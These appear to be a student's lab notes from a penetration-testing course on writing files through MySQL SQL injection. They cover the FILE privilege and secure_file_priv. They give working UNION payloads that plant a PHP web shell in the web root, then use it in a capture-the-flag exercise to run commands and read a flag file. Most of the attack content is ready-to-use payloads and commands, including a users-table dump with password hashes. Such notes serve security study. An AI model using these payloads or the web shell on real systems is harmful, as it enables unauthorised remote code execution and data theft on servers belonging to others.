# Introduction - Modern DBMSes disable file-write by default and require certain privileges for DBA's to write files - To be able to write files to the back-end server using a MySQL database, we require three things: 1. User with `FILE` privilege enabled 2. MySQL global `secure_file_priv` variable not enabled 3. Write access to the location we want to write to on the back-end server # `secure_file_priv` - The [secure_file_priv](https://mariadb.com/kb/en/server-system-variables/#secure_file_priv) variable is used to determine where to read/write files from - An empty value lets us read files from the entire file system - MariaDB has this variable set to empty by default, which lets us read/write to any file if the user has the `FILE` priv - Otherwise, if a certain directory is set, we can only read from the folder specified by the variable - On the other hand, `NULL` means we cannot read/write from any directory. - Some modern configurations default to `NULL`, meaning that we cannot read/write files anywhere within the system - `MySQL` uses `/var/lib/mysql-files` as the default folder - This means that reading files through a `MySQL` injection isn't possible with default settings - SQL query to obtain value of `secure_file_priv` parameter ```mysql SHOW VARIABLES LIKE 'secure_file_priv'; ``` - UNION payload to obtain value of `secure_file_priv` parameter ```mysql cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- - ``` ![[images/Pasted image 20251204180147.png]] # `SELECT .. INTO OUTFILE` - Now that we have confirmed that our user should write files to the back-end server, let's try to do that using the `SELECT .. INTO OUTFILE` statement - The [SELECT INTO OUTFILE](https://mariadb.com/kb/en/select-into-outfile/) statement can be used to write data from select queries into files ```mysql SELECT * from users INTO OUTFILE '/tmp/credentials'; ``` ```bash cat /tmp/credentials 1 admin 392037dbba51f692776d6cefb6dd546d 2 newuser 9da2c9bcdf39d8610954e0e11ea8f45f ``` - Also possible to directly SELECT strings into files ```mysql SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt'; ``` ```bash $ cat /tmp/test.txt this is a test $ ls -la /tmp/test.txt -rw-rw-rw- 1 mysql mysql 15 Jul 8 06:20 /tmp/test.txt ``` # Writing Files Through SQL Injection - To write a web shell, we must know the base web directory for the web server (i.e. web root) - One way to find it is to use `load_file` to read the server configuration, like: - Apache's configuration found at `/etc/apache2/apache2.conf` - Nginx's configuration at `/etc/nginx/nginx.conf` - IIS's configuration at `%WinDir%\System32\Inetsrv\Config\ApplicationHost.config` - We can search online for other possible configuration locations - UNION payload for writing an arbitrary string to a web root ```mysql cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- - ``` - No errors are shown![[images/Pasted image 20251204180802.png]] - We can visit `proof.txt` within the browser to display the written string ![[images/Pasted image 20251204180854.png]] # Writing a Web Shell - Having confirmed write permissions, we can go ahead and write a PHP web shell to the webroot folder - We can write the following PHP webshell to be able to execute commands directly on the back-end server: ```php #RCE access by visiting http://ip_addr/port/shell.php?0=id <?php system($_REQUEST[0]); ?> #RCE by visiting http://ip_addr/port/shell.php?cmd=pwd <?php system($_REQUEST["cmd"]); ?> ``` - Reuse the previous UNION payload while including the PHP webshell ```mysql cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- - ``` - No errors are shown ![[images/Pasted image 20251204181034.png]] - We can visit `shell.php` within the browser to invoke the written webshell while appending `?0=id` ![[images/Pasted image 20251204181136.png]] # Exercise - Ping test ![[images/Pasted image 20251204181234.png]] - Nmap scan ![[images/Pasted image 20251204181227.png]] - Determine number of columns with below UNION payload ```mysql cn' UNION select 1,2,3,4-- - ``` - Looks like we are dealing with four (4) columns as we have no errors ![[images/Pasted image 20251204181400.png]] - Determine injection location with below UNION payload ```mysql cn' UNION select 1,@@version,3,4-- - ``` ![[images/Pasted image 20251204181443.png]] - Enumerate `secure_file_priv` with below UNION payload ```mysql cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- - ``` ![[images/Pasted image 20251204181533.png]] - Trying writing a php webshell to the webroot with the below UNION payload ```mysql cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- - ``` - No errors ![[images/Pasted image 20251204181757.png]] - Visit http://ip_addr:port/shell.php?0=id ![[images/Pasted image 20251204181911.png]] - This works but we are limited command wise - This is actually NOT true - both this and the below can be used for RCE - Visit http://ip_addr:port/shell.php?0=pwd ![[images/Pasted image 20251204182835.png]] - Trying writing a new php webshell to the webroot with the below UNION payload ```mysql cn' union select "",'<?php system($_REQUEST["cmd"]); ?>', "", "" into outfile '/var/www/html/shell3.php'-- - ``` - No errors ![[images/Pasted image 20251204182150.png]] - Visit http://ip_addr:port/shell3.php?cmd=pwd ![[images/Pasted image 20251204182343.png]] - Visit http://ip_addr:port/shell3.php?cmd=cd%20..;ls ![[images/Pasted image 20251204182441.png]] - Visit http://ip_addr:port/shell3.php?cmd=cat%20../flag.txt ![[images/Pasted image 20251204182514.png]]